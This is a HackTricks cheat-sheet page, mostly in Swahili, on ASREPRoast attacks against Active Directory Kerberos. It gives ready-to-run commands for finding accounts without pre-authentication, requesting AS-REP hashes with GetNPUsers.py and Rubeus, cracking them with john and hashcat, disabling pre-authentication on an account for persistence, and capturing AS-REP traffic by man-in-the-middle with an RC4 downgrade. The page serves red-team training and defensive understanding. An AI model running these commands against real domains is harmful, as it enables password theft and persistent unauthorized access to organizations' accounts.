ASREPRoast

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

ASREPRoast

ASREPRoast ni shambulio la usalama linalotumia watumiaji ambao hawana sifa inayohitajika ya Kerberos pre-authentication. Kimsingi, udhaifu huu unaruhusu washambuliaji kuomba uthibitisho kwa mtumiaji kutoka kwa Domain Controller (DC) bila kuhitaji nenosiri la mtumiaji. DC kisha inajibu kwa ujumbe uliofungwa kwa kutumia funguo iliyotokana na nenosiri la mtumiaji, ambayo washambuliaji wanaweza kujaribu kuifungua bila mtandao ili kugundua nenosiri la mtumiaji.

Mahitaji makuu ya shambulio hili ni:

• Ukosefu wa Kerberos pre-authentication: Watumiaji wa lengo hawapaswi kuwa na kipengele hiki cha usalama kimewezeshwa.

• Muunganisho na Domain Controller (DC): Washambuliaji wanahitaji ufikiaji wa DC ili kutuma maombi na kupokea ujumbe uliofungwa.

• Akaunti ya kikoa ya hiari: Kuwa na akaunti ya kikoa kunawawezesha washambuliaji kutambua kwa ufanisi watumiaji walio hatarini kupitia maswali ya LDAP. Bila akaunti kama hiyo, washambuliaji lazima wahisi majina ya watumiaji.

Kuorodhesha watumiaji walio hatarini (hitaji akreditif za kikoa)

Using Windows

Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView

Kutumia Linux

bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

Omba ujumbe wa AS_REP

Kutumia Linux

#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast

Kutumia Windows

.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)

AS-REP Roasting na Rubeus itazalisha 4768 na aina ya usimbaji wa 0x17 na aina ya preauth ya 0.

Kupasua

john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt

Persistence

Lazimisha preauth isiyohitajika kwa mtumiaji ambapo una ruhusa za GenericAll (au ruhusa za kuandika mali):

Using Windows

Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose

Kutumia Linux

bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH

ASREProast bila akreditivu

Mshambuliaji anaweza kutumia nafasi ya mtu katikati kukamata pakiti za AS-REP wakati zinapita kwenye mtandao bila kutegemea kuwa Kerberos pre-authentication imezimwa. Hivyo inafanya kazi kwa watumiaji wote kwenye VLAN. ASRepCatcher inatupa uwezo wa kufanya hivyo. Zaidi ya hayo, chombo hiki kinawalazimisha vituo vya wateja kutumia RC4 kwa kubadilisha mazungumzo ya Kerberos.

# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP

# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing

# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen

References

• https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat

---

Jiunge na HackenProof Discord server kuwasiliana na hackers wenye uzoefu na wawindaji wa bug bounty!

Hacking Insights Shiriki na maudhui yanayochunguza msisimko na changamoto za hacking

Real-Time Hack News Baki na habari za hivi punde katika ulimwengu wa hacking kupitia habari na maarifa ya wakati halisi

Latest Announcements Baki na taarifa kuhusu bug bounties mpya zinazozinduliwa na masasisho muhimu ya jukwaa

Jiunge nasi kwenye Discord na anza kushirikiana na hackers bora leo!

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.